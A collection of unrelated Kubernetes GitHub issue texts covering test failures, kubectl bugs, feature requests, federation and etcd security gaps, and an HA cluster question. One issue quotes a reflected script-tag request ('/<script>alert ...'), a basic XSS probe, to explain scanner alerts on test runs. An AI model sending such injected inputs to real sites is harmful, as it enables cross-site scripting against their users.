node { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:156\r \r  fail   sig-scalability  density  beforeeach   feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/density.go:486\r \r ran 2 of 1017 specs in 242.430 seconds\r fail! -- 0 passed | 2 failed | 0 pending | 1015 skipped --- fail: teste2e  242.49s \r

by default docker use ctrl-p as detach-keys which caused ctrl-p previous-history  not work.\r if it is possible to add detach-keys option will be great.\r \r <!-- do not edit below this line -->\r 

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r \r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r \r the  getnextpod  method of  configfactory  is a simple wrapper around  schedulingqueue.pop . it should be converted into a simple closure instead of being a method. i.e. we should have,\r \r    golang\r \r func makenextpodfunc queue schedulingqueue  func    v1.pod {...}\r \r    \r \r  code is in  pkg/scheduler/factory/factory.go  \r \r \r \r  \r  \r /help

we saw in the flocker demo this command:  master$ kubectl get rc redis-master -o yaml | sed 's/spinning/ssd/' | kubectl update -f -  should be able to do this with a kubectl command, not spitting out yaml, sed, and reading it back in.

hi,  i have multiple app's rc . so whenever i am deploying rc 'a' , one or more req of rc 'b'  and for other rc's is getting miss for like a second. so i think whenever there is creation of new container kube-proxy is rewriting whole iptables rule. and at time if there is any request happening at that they are getting miss.  i am getting errors like this from haproxy at the time of deploying  app b  kubectl rolling-deploy  for app a  haproxy.log      jul 22 12:37:42 localhost haproxy 24608 : server app-a/app-a is down, reason: layer7 timeout, check duration: 4001ms. 0 active and 1 backup servers left. running on backup. 19 sessions active, 0 requeued, 0 remaining in queue.  jul 22 12:37:48 localhost haproxy 24608 : server app-a/app-a is up, reason: layer7 check passed, code: 200, info: \ ok\ , check duration: 18ms. 1 active and 1 backup servers online. 0 sessions requeued, 0 total in queue      kube-proxy.log      i0722 17:14:29.688666   14155 server.go:200  using iptables proxier. i0722 17:14:29.688798   14155 proxier.go:208  missing br-netfilter module or unset br-nf-call-iptables; proxy may not work as intended i0722 17:14:29.688833   14155 server.go:213  tearing down userspace rules. i0722 17:14:29.699818   14155 conntrack.go:36  setting nf_conntrack_max to 262144 i0722 17:14:29.700041   14155 conntrack.go:41  setting conntrack hashsize to 65536 i0722 17:14:29.700812   14155 conntrack.go:46  setting nf_conntrack_tcp_timeout_established to 86400      i am using kubernetes v1.2.3

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2441/ failed:  k8s.io  projected should be consumable from pods in volume  conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:40 expected error:     < errors.errorstring | 0xc4203a8e40>: {         s: \ failed to get logs from pod-projected-secrets-1239307e-05e1-11e7-91c0-42010a80000b for projected-secret-volume-test: an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods pod-projected-secrets-1239307e-05e1-11e7-91c0-42010a80000b \ ,     }     failed to get logs from pod-projected-secrets-1239307e-05e1-11e7-91c0-42010a80000b for projected-secret-volume-test: an error on the server  \ unknown\   has prevented the request from succeeding  get pods pod-projected-secrets-1239307e-05e1-11e7-91c0-42010a80000b  not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2195

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r head\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r a pod requesting oir opaque integer resource  is scheduled to a node, but there is no info about oir for non-terminated pods.\r \r    \r non-terminated pods:\t\t 1 in total \r   namespace\t\t\tname\t\t\t\tcpu requests\tcpu limits\tmemory requests\tmemory limits\r   ---------\t\t\t----\t\t\t\t------------\t----------\t---------------\t-------------\r   default\t\t\trc-nginx-single1-f01k7\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests\tcpu limits\tmemory requests\tmemory limits\r   ------------\t----------\t---------------\t-------------\r   0  0% \t0  0% \t\t0  0% \t\t0  0% \r    \r \r   what you expected to happen  :\r it would be better if  kubectl describe node  shows oir requests/limits for non-terminated pods, and oir percentage in  allocated resources .\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r cc @connordoyle

referring https://kubernetes.io/docs/admin/kubefed_options/ and https://kubernetes.io/docs/admin/kubefed_version/; both have    kubectl    string in place of    kubefed    in section    example   . this needs to be corrected in kubefed docs autogeneration.\r @kubernetes/sig-federation-bugs \r cc @madhusudancs \r also see https://github.com/kubernetes/kubernetes.github.io/pull/4852

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r i tried to use label selector to get container image name, but it can not show the image name when lables selector provided.\r \r    \r hchenxa@hchen-mac:~/documents/hchenxa/src/icp/automation_test$ kubectl  get pods -n ivt --show-labels\r name                          ready     status    restarts   age       labels\r nginx-roll-3431990605-9p6bm   1/1       running   0          11m       pod-template-hash=3431990605,run=nginx-roll\r hchenxa@hchen-mac:~/documents/hchenxa/src/icp/automation_test$ kubectl get pods nginx-roll-3431990605-9p6bm --namespace=ivt -o jsonpath='{.spec.containers   .image}'\r nginx:1.13.3-alpine\r hchenxa@hchen-mac:~/documents/hchenxa/src/icp/automation_test$ kubectl get pods -l run=nginx-roll --namespace=ivt -o jsonpath='{.spec.containers   .image}'\r hchenxa@hchen-mac:~/documents/hchenxa/src/icp/automation_test$\r    \r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  hchenxa@hchen-mac:~/documents/hchenxa/src/icp/automation_test$ kubectl  version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ } \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r   \r >  \r \r   what happened  :\r \r with taint based eviction enabled, if i shutdown a worker node or stop the kubelet service on the node, the pod running on that node will be evicted and re-scheduled to other available nodes.\r \r the problem is that the original pod running on the off node will keeps in  terminating  state and never disappear. i have to delete it with  --grace-period=0 --force  option or bring back the off node.\r \r    \r  root@ib17b05 ~   kubectl get pods -owide\r name                        ready     status        restarts   age       ip             node\r my-nginx-54d9957dd5-gtdws   1/1       terminating   1          18m       10.1.169.132   9.21.53.17\r my-nginx-54d9957dd5-pf8qh   1/1       running       0          9m        10.1.160.131   9.21.53.24\r    \r \r   what you expected to happen  :\r \r we should delete the pods on off node with  --grace-peroid=0 --force  option to make sure that they do not appear on dashboard.\r \r /cc @gmarek \r \r  \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r with pr  55972 support for kube-proxy componentconfig added for v1.9,\r while keeping v1.8 support unchanged.\r the support for v1.8 can now be removed with the release of v1.9\r \r   what you expected to happen  :\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r

my cluster is deployed by kubeadm.\r i've made the rolebinding, and can access the dashboard through kubectl proxy.\r but i can't access it with external ip. \r i've tried open a nodeport but, still can't make it work.\r get error:\r \ status\ : \ failure\ ,\r   \ message\ : \ services \\\ https:kubernetes-dashboard:\\\  is forbidden: user \\\ system:anonymous\\\  cannot get services/proxy in the namespace \\\ kube-system\\\ \ ,\r \r \r my service yaml:\r apiversion: v1\r kind: service\r metadata:\r   name: kubernetes-dashboard\r   namespace: kube-system\r   labels:\r     k8s-app: kubernetes-dashboard\r     kubernetes.io/cluster-service: \ true\ \r     addonmanager.kubernetes.io/mode: reconcile\r spec:\r   type: nodeport\r   selector:\r     k8s-app: kubernetes-dashboard\r   ports:\r   - port: 443\r     targetport: 8443\r     nodeport: 30000\r i've seen lots of people meeting the same issue, tried some method. any help will be appreciated.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r \r pr  59906 adds per container log stats for cri runtimes.\r \r > this commit aims to collect per container log stats. the change was proposed as a part of  55905. the change includes changing the log path from /var/pod//containername_attempt.log to /var/pod//containername/containername_attempt.log. the logs are collected by reusing volume package to collect metrics from the log path.\r \r while the change is not tied to any platform, volume.metricsprovider doesn't support windows yet. we need to fix this for windows containers.\r \r   what you expected to happen  :\r \r also refer  55905.\r

testkmsprovider is flaking slightly in head:\r \r https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=testkmsprovider\r \r    \r --- fail: testkmsprovider  10.47s \r \ttestserver.go:106: starting kube-apiserver on port 37352...\r \ttestserver.go:118: waiting for /healthz to be ok...\r \tkms_transformation_test.go:109: failed to get dek from kms: timed-out while getting encryption request from kms plugin mock\r    \r \r the timeout block is suspect:\r \r https://github.com/kubernetes/kubernetes/blob/07240b7166d83bed49d783e0ecdfa7ee7e62cfca/test/integration/master/kms_transformation_test.go l140-l147\r \r if this is asynchronous, 1 ms is a super tight tolerance for an integration test. looking at the test, though, it's unclear which piece would be asynchronous.

a couple of places in the readme refer to images prefixed with kubernetes, but they're actually prefixed with fgrzadkowski. maybe create the kubernetes ones? or change the readme.  kubernetes/example-php-phabricator -> fgrzadowski/example-php-phabricator kubernetes/example-cloudsql-authenticator -> fgrzadowski/example-cloudsql-authenticator

the test   sig-storage  csi volumes csi plugin test using csi driver: hostpath should provision storage  flakes very occasionally. below are the findings of the circumstances of the flake.\r \r during  testdynamicprovisioning  two pods are created in quick succession. the test flakes when the second pod fails to come up.\r \r the second pod fails to come up with error:\r  mountvolume.waitforattach failed for volume \ pvc-bc2294b873ef11e8\  : resource name may not be empty \r \r upon exploring the logs we discovered that there was only 1 attach call made at the beginning, and one detach call upon timeout of the test  see timestamps :\r    \r i0613 19:00:41.888473       1 reconciler.go:291  attacherdetacher.attachvolume started for volume \ pvc-0c896e426f3c11e8\   uniquename: \ kubernetes.io/csi/csi-hostpath^0da20430-6f3c-11e8-a80a-0a580a40016c\   from node \ e2e-40645-674b9-minion-group-gz10\  \r i0613 19:00:42.533343       1 operation_generator.go:335  attachvolume.attach succeeded for volume \ pvc-0c896e426f3c11e8\   uniquename: \ kubernetes.io/csi/csi-hostpath^0da20430-6f3c-11e8-a80a-0a580a40016c\   from node \ e2e-40645-674b9-minion-group-gz10\  \r i0613 19:15:52.528902       1 reconciler.go:233  attacherdetacher.detachvolume started for volume \ pvc-0c896e426f3c11e8\   uniquename: \ kubernetes.io/csi/csi-hostpath^0da20430-6f3c-11e8-a80a-0a580a40016c\   on node \ e2e-40645-674b9-minion-group-gz10\  \r i0613 19:15:52.615262       1 operation_generator.go:1225  verified volume is safe to detach for volume \ pvc-0c896e426f3c11e8\   uniquename: \ kubernetes.io/csi/csi-hostpath^0da20430-6f3c-11e8-a80a-0a580a40016c\   on node \ e2e-40645-674b9-minion-group-gz10\  \r i0613 19:15:53.367487       1 operation_generator.go:419  detachvolume.detach succeeded for volume \ pvc-0c896e426f3c11e8\   uniquename: \ kubernetes.io/csi/csi-hostpath^0da20430-6f3c-11e8-a80a-0a580a40016c\   on node \ e2e-40645-674b9-minion-group-gz10\  \r    \r \r we tracked down the  resource name may not be empty  error to the likely culprit in func  waitforvolumeattachmentinternal :\r    \r attach, err := c.k8s.storagev1beta1  .volumeattachments  .get attachid, meta.getoptions{} \r    \r based on the error message returned. \r \r this is likely caused by  attachid  string  being empty  uncomfirmed , which is what the kubelet would get from the devicepath field on the node object. this devicepath field is normally added on attach and removed on detach of the volume.\r \r the devicepath is clearly present on the node when the first pod is being brought up. but it is possible that it is somehow missing or not able to be retrieved by the time the second pod is starting up  and continues to be unavailable exhausting the 15m timeout on the test  even though no detach operation was performed on the volume in the meantime  according to logs . we are currently unable to reproduce this flake on command and did all analysis based on logs from the two flakes we saw naturally occur in the 100s of runs performed of the test.\r \r this flake was originally seen in  65064 and the test logs can be found here: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/65064/pull-kubernetes-e2e-gce/40645/\r \r   environment  : gce\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.975+98194b8630958e\ , gitcommit:\ 98194b8630958ee48db662f42404dc0bc6a2ed80\ , gittreestate:\ clean\ , builddate:\ 2018-06-19t18:16:46z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release :\r    \r build_id=10323.64.0\r name=\ container-optimized os\ \r kernel_commit_id=94bdaa2af49562e7aba0168cae050911d105f5cb\r google_crash_id=lakitu\r version_id=65\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=65\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r - kernel  e.g.  uname -a  :  linux e2e-test-dyzz-master 4.4.111+  1 smp wed mar 28 13:44:38 pdt 2018 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux \r \r    /cc @msau42 @jingxu97 @saad-ali @verult

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r currently, only label selectors are applied in the  list  methods for the fake clients. \r \r enhance the  list  methods to also apply field selectors.\r \r   why is this needed  :\r prevent false positives in tests depending on field selector being applied.\r \r for example:  this events test  https://github.com/kubernetes/dashboard/blob/master/src/app/backend/resource/pod/events_test.go  in the kubernetes dashboard repository will succeed regardless of the name passed to it because it depends on  a function which depends on the field selector  https://github.com/kubernetes/dashboard/blob/e8e4fd43b3c6cfb75ab2cd9e2e1575f332724867/src/app/backend/resource/event/common.go l41  which is not applied during the test.\r \r   the criminal:  \r   extractfromlistoptions   https://github.com/kubernetes/kubernetes/blob/a363b153851326ece7f81f4c1ae0a1ab8700a209/staging/src/k8s.io/client-go/testing/actions.go l295  returns   labelselector, fieldselector, resourceversion  .\r \r  the generator  https://github.com/kubernetes/kubernetes/blob/a363b153851326ece7f81f4c1ae0a1ab8700a209/staging/src/k8s.io/code-generator/cmd/client-gen/generators/fake/generator_fake_for_type.go l333  in  client-gen  only applies  labelselector , ignoring the rest.\r \r relevant snippet  lines  333  to  342  :\r    go\r label, _, _ := $.extractfromlistoptions|raw$ opts \r if label == nil {\r \tlabel = $.everything|raw$  \r }\r list := &$.type|raw$list{listmeta: obj.  $.type|raw$list .listmeta}\r for _, item := range obj.  $.type|raw$list .items {\r \tif label.matches labels.set item.labels   {\r \t\tlist.items = append list.items, item \r \t}\r }\r    \r \r   todo:  \r extend above code section to also apply the fieldselector.\r \r   related:  : https://github.com/kubernetes/kubernetes/pull/76735\r \r 

what would you like to be added  :\r github has a  security policy page  https://github.com/kubernetes/kubernetes/security/policy  that uses a security.md file from the repository to show the project's security policy.\r \r   why is this needed  :\r adding this file makes it easier for security researchers to learn about the correct place to report a vulnerability in the kubernetes project.

i think we want to support the following: - when the service account controller makes a service account, it delegates creation of a credential to a  plugin.    - when the service account controller makes a service account, it delegates creation of policy for that new service account to a plugin.    - in both cases, compiled-in plugin is fine.  e.g. in the style of authorizer.authorizer and authenticator.request.   - in both cases, default one would work the way things work now, but users could substitute a different one.    x-ref:  11687  11626

as of kubernetes v1.1, and possibly v1.2 as well, cadvisor is linked into kubelet. kubelet groups detailed cadvisor metrics into pods and nodes and exposes them via rest endpoints   /stats    monitoring is resource intensive. there are currently several issues filed against kubelet around resource usage which are mostly related to cadvisor's resource consumption. support for custom metrics adds significant resource overhead to kubelet.  not all users of kubernetes need cadvisor for monitoring.  kubelet will need just a few metrics for its functionality. specifically, cpu usage, memory usage, and filesystem usage for now. these metrics are needed for scheduling and other cluster functionalities.  by separating out cadvisor monitoring agent from kubelet, users can choose to run cadvisor as a standalone container and get a lot more detailed metrics.  this split will let us optimize resource impact of kubelet and cadvisor independently. cadvisor can expose potentially expensive metrics as well.  for the basic metrics that kubelet needs, it will embed specific libraries from cadvisor and compute those metrics internally.  cadvisor needs to be enhanced to support pods. to make this easier, kubelet should expose the pods that it is currently managing via some api.   9473 talks about one such api   cc @dchen1107 @timstclair @kubernetes/goog-node @jimmidyson @jszczepkowski

this issue is to aggregate opinions and indications of interest in a single volume that handles all types of 'managed' data, such as: 1.  secrets 2.  configmaps 3.  downward api 4.  service links  one possible api for such a volume might look like:      yaml name: my-mega-dir items:   - configmapname: my-config-map     files:       - key: config         file: myapp.conf   - secretname: my-secret     files:       - key: password         file: path/passwd.txt   - downwardapi:        apiversion: v1       fieldpath: metadata.name     file: myapp.name.txt      forking issue from discussion that started here: https://github.com/kubernetes/kubernetes/pull/18586 discussion_r49519513

right now all of our continuous testing is done using  config-test.sh  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/config-test.sh . but users create clusters using  config-default.sh  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/config-default.sh .  there are quite a few differences between the two files, and we should be testing that a standard deployment continues to work correctly.   @kubernetes/goog-testing

is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.1\ , gitcommit:\ 33cf7b9acbb2cb7c9c72a10d6636321fb180b159\ , gittreestate:\ clean\ , builddate:\ 2016-10-10t18:19:49z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  : gke\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : gke\r -   kernel    e.g.  uname -a  : gke\r -   install tools  :\r -   others  :\r \r   what happened  :\r i federated 3 clusters together. i deliberately killed the api server on one the clusters. federation status shows that the cluster is offline. however, the service ip is not removed from dns, and there is a repeating error in the federation controller manager log, such as:\r    \r e1116 22:36:03.276899       1 reflector.go:214  k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:155: failed to list  v1.endpoints: the server could not find the requested resource  get endpoints \r e1116 22:36:03.277798       1 reflector.go:214  k8s.io/kubernetes/federation/pkg/federation-controller/service/cluster_helper.go:154: failed to list  v1.service: the server could not find the requested resource  get services \r    \r \r   what you expected to happen  :\r it should clean up and remove service ips associated w/ the cluster that's now offline\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. federate multiple clusters together\r 1. configure kubedns w/ federation\r 1. deploy backend to 2 clusters\r 1. run consumers on other clusters not running the backend\r 1. pull the plug on the api server on one of the cluster running the backend\r 1. observe the error in federation controller manager\r \r   anything else do we need to know  :\r \r

our federation e2e's require a lot of love.\r filing this as a top level issue to track all the work that needs to be done.\r \r   reduce the running time:\r \r -       40765,  40766,  40767  run the tests in parallel: all our tests are running serially right now. this was required because we did not have federated namespaces and hence there was no guarantee that each test can run independent of each other. we have recently done a lot of work to ensure that all tests run in their own namespaces. i believe that all tests have been fixed now. need to ensure that and start running tests in parallel.\r -  x    40765,  40768  do not register and unregister cluster in each test case: again this was required because our tests were not independent of each other. now that they are, we can register and unregister the clusters once when we bring up and down the federation control plane. no need to do it in each test. this should also help reduce the running time.\r \r   fix resource leakage:\r \r -     our e2e tests dont delete all the resources that they create resulting in resource leakage.\r examples:\r https://github.com/kubernetes/kubernetes/issues/29335, https://github.com/kubernetes/kubernetes/issues/34060\r \r   more extensive tests\r \r -     generic tests for when clusters become unready. we do not have any tests at all for this case.\r -     service controller e2e: we know of a lot of cases which are not being tested in our service e2e. example: https://github.com/kubernetes/kubernetes/issues/27623\r -     run the tests on gke and aws\r \r -     we should run federation e2e's as part of tests that run on every pr. reducing the running time is a blocker for this since tests need to finish in 30 mins to be added there.\r \r cc @kubernetes/sig-cluster-federation

the ingress tests use an echoserver version that echoes urls directly, so requesting  /<script>alert 'oops' </script>  will put a script tag in the output. the output is content-type  text/plain , but some browsers  ie  perform content-sniffing that may cause the script to execute.\r \r this means test runs can get flagged by automated xss scanners, despite an xss against echoserver being useless.

with latest master:\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.2.1564+3655685d647eb0\ , gitcommit:\ 3655685d647eb05006632763987f206e27e173c8\ , gittreestate:\ clean\ , builddate:\ 2017-08-09t13:59:53z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r local cluster's kubelet fails to start with the following error:\r \r i0809 10:01:57.021623   25297 server.go:348  sending events to api server.\r i0809 10:01:57.021681   25297 server.go:541  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r error: failed to run kubelet: running with swap on is not supported, please disable swap! or set --fail-swap-on flag to false. /proc/swaps contained:  filename                         type            size       used                                   partition      4001788 0       -1 \r \r here is the command used to bring it up, the same command worked yesterday.\r allow_privileged=true allow_security_context=true log_level=6 feature_gates=persistentlocalvolumes=true hack/local-up-cluster.sh\r \r  

 /area etcd\r /area kubeadm\r /area security\r  \r   what happened  :\r when initializing a cluster with kubeadm, the local connection to etcd is insecure.\r anyone logged into the master machine has implicit root access via the etcd port.\r \r   what you expected to happen  :\r kubeadm should generate tls identities for etcd.\r the connection should be secure -- unaccessible without valid credentials.\r \r   anything else we need to know?  :\r this was discussed in in the kubeadm working group:  wed 13 december 2017  https://docs.google.com/document/d/16cesbssgm3smpvb_cfnknqqi1oxhicyx3lvwbpiymhc/edit heading=h.6bl6aiqaw2a .\r \r   functionality  :\r - generate server and peer cert for etcd\r - generate client cert for apiserver\r - add flags / hostmounts for etcd static pod\r - add flags / hostmounts for apiserver static pod\r - during the upgrade case from 1.9 → 1.10, generate the new certs\r \r   considerations  :\r shoud we use the existing kubernetes ca or create a dedicated etcd ca ?\r - start /w kubernetes ca for simplicity

what happened  :\r we get different code generated on different computers.\r \r common things:\r - exactly the same code and dependencies. copied the directory from one computer to another one, ran deep copy generator and the result is different.\r - latest  k8s.io/code-generator  from  release-1.8  branch - 306be794f1b124a9c939ab168e9ea3944387e66b\r -  k8s.io/gengo  - 1ef560bbde5195c01629039ad3b337ce63e7b321\r - go 1.9.2\r \r result 1 - current  master  branch:\r - two mac laptops\r - travis ci. linux builder running ubuntu trusty\r \r result 2 - pr https://github.com/atlassian/smith/pull/216:\r - internal ci builder. ubuntu linux, build runs in a docker container with  from ubuntu:latest \r - arch linux laptop.\r \r we have another  internal  codebase where we are seeing the same issue with the same type   metav1.time  .\r \r   what you expected to happen  :\r the same code should be generated always.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. you'll need  dep  and  bazel \r 2. clone  go get -u github.com/atlassian/smith \r 3. run  make setup-base \r 4. run  make generate \r 5. what version are you getting? if  git diff  is not showing anything it is version 1.\r \r   /cc @sttts

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r see the discussion:\r \r https://groups.google.com/forum/ !topic/kubernetes-users/vmcftssygbi\r \r \r   what you expected to happen  :\r \r maybe we can add new field , pod.spec.resourcerequirements to express the pod-level-resource meaning\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r we start apiserver/controller manager as static pods, and the images of kubernetes are saved in a private registry with authentication enabled. however, these images cannot be pulled due to authentication failure.\r \r docker login does not work, since kubelet does not leverage docker to pull image. it is better that we can have a flag in kubelet to set image pull secret for static pod.\r \r   what you expected to happen  :\r image should be pulled and pod should be successfully spawned.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r put apiserver image in a private registry, and start it using static pod.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r \r   what happened  :\r kubectl describe pv doesn't show the volume attributes

kubectl --request-timeout=10m  exec -it xxx    bash --namespace=dev-name\r \r sign in pod,it happen tomatically quit.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r according to the  code  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/network/cni/cni.go l379 ，the units of rate parameter which passed to bandwidth cni are kbps，not bps , but bandwidth cni plugin need rate parameter in  bps  https://github.com/containernetworking/plugins/blob/master/plugins/meta/bandwidth/main.go l35 \r \r   what you expected to happen  :\r if i'm not mistaken，i will make pr to fix it .\r \r

hi all,\r   i try to set up 2-master ha  k8s,  the 2 master nodes get ready, however, \ etcd\  and \ kube-apiserver\  on master2 node2  down. need your help and appreciate your advice.\r \r -----\r info:\r node1 master :10.249.244.51\r node2: master :10.249.244.52\r keepalived vip: 10.249.244.59\r \r  root@node1 ~   kubectl -s https://10.249.244.51:6443  get pod -n kube-system -o wide    \r name                            ready   status             restarts   age   ip              node    nominated node\r coredns-576cbf47c7-6w88q        1/1     running            0          27m   10.244.0.2      node1   <none>\r coredns-576cbf47c7-vp2ch        1/1     running            0          27m   10.244.0.3      node1   <none>\r etcd-node1                      1/1     running            0          26m   10.249.244.51   node1   <none>\r etcd-node2                      0/1     crashloopbackoff   5          13m   10.249.244.52   node2   <none>\r kube-apiserver-node1            1/1     running            0          26m   10.249.244.51   node1   <none>\r kube-apiserver-node2            0/1     crashloopbackoff   4          13m   10.249.244.52   node2   <none>\r kube-controller-manager-node1   1/1     running            0          26m   10.249.244.51   node1   <none>\r kube-controller-manager-node2   1/1     running            0          13m   10.249.244.52   node2   <none>\r kube-flannel-ds-amd64-6bfvj     1/1     running            0          13m   10.249.244.52   node2   <none>\r kube-flannel-ds-amd64-l87zk     1/1     running            0          24m   10.249.244.51   node1   <none>\r kube-proxy-pr887                1/1     running            0          13m   10.249.244.52   node2   <none>\r kube-proxy-qrvk9                1/1     running            0          27m   10.249.244.51   node1   <none>\r kube-scheduler-node1            1/1     running            0          26m   10.249.244.51   node1   <none>\r kube-scheduler-node2            1/1     running            0          13m   